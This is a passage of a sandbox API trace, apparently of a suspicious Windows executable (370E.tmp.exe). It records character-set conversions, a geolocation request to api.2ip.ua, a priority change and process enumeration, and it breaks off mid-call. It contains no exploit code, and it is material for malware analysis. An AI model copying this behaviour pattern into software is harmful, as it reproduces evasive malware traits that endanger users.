¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e8e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0034.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f0c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x05\x93\x56\x51\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0034.511] GetLastError () returned 0x0 [0034.511] SetLastError (dwErrCode=0x0) [0034.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eb18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0034.511] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.511] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18e908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0034.511] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18efc0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x05\x93\x56\x51\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0034.511] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.511] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x30f4a8 [0034.511] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c304 [0034.512] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.512] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.512] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.512] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.512] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x110) returned 0x30fcb0 [0034.513] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.513] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x10) returned 0x30da70 [0034.513] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.513] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.513] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.514] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30f1f8) returned 0x80 [0034.515] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0035.388] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x40) returned 0x303cc8 [0035.388] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0042.172] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18b5c0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18ddc0 | out: lpBuffer=0x18b5c0*, lpdwNumberOfBytesRead=0x18ddc0*=0x1d1) returned 1 [0042.173] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0042.175] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0042.175] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x20) returned 0x31c6f0 [0042.175] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x1e0) returned 0x3291c78 [0042.175] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3291c78 | out: hHeap=0x260000) returned 1 [0042.175] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x31c6f0 | out: hHeap=0x260000) returned 1 [0042.175] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x303cc8 | out: hHeap=0x260000) returned 1 [0042.176] GetCurrentProcess () returned 0xffffffff [0042.176] GetLastError () returned 0x2 [0042.176] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0042.176] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x10) returned 0x340e30 [0042.176] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x110) returned 0x342ae8 [0042.176] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x800) returned 0x34a8f8 [0042.176] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34a8f8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe")) returned 0x32 [0042.176] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0042.176] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x810) returned 0x3252bb8 [0042.176] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " [0042.176] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" ", pNumArgs=0x18dea0 | out: pNumArgs=0x18dea0) returned 0x3412a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" [0042.176] lstrcpyW (in: lpString1=0x18eb50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" [0042.177] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " [0042.177] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" ", pNumArgs=0x18de3c | out: pNumArgs=0x18de3c) returned 0x3412a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" [0042.177] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe") returned="370E.tmp.exe" [0042.177] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.177] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0042.178] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0042.178] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0042.178] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0042.209] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0042.209] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0042.209] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0042.209] EnumProcesses (in: lpidProcess=0x183638, cb=0xa000, lpcbNeeded=0x18de48 | out: lpidProcess=0x183638, lpcbNeeded=0x18de48) returned 1 [0042.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0042.212] CloseHandle (hObject=0x0) returned 0 [0042.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0042.212] CloseHandle (hObject=0x0) returned 0 [0042.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0042.212] CloseHandle (hObject=0x0) returned 0 [0042.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0042.213] CloseHandle (hObject=0x0) returned 0 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0042.214] CloseHandle (hObject=0x0) returned 0 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0042.214] CloseHandle (hObject=0x0) returned 0 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5bc [0042.214] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0042.214] CloseHandle (hObject=0x5bc) returned 1 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5bc [0042.214] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0042.214] CloseHandle (hObject=0x5bc) returned 1 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0042.214] CloseHandle (hObject=0x0) returned 0 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5bc [0042.214] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0042.214] CloseHandle (hObject=0x5bc) returned 1 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0042.214] CloseHandle (hObject=0x0) returned 0 [0042.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5bc [0042.215] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0042.215] CloseHandle (hObject=0x5bc) returned 1 [0042.215] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f0) returned 0x0 [0042.215] CloseHandle (hObject=0x0) returned 0 [0042.215] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x788) returned 0x5bc [0042.215] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.216] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1310000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="generating_ex.exe") returned 0x11 [0042.216] CloseHandle (hObject=0x5bc) returned 1 [0042.216] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x5bc [0042.216] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.217] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1170000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="certificateillustrations.exe") returned 0x1c [0042.217] CloseHandle (hObject=0x5bc) returned 1 [0042.217] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x5bc [0042.217] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.218] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1250000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="vb-circuits.exe") returned 0xf [0042.218] CloseHandle (hObject=0x5bc) returned 1 [0042.218] OpenProcess (dwDesiredAccess=0x410, 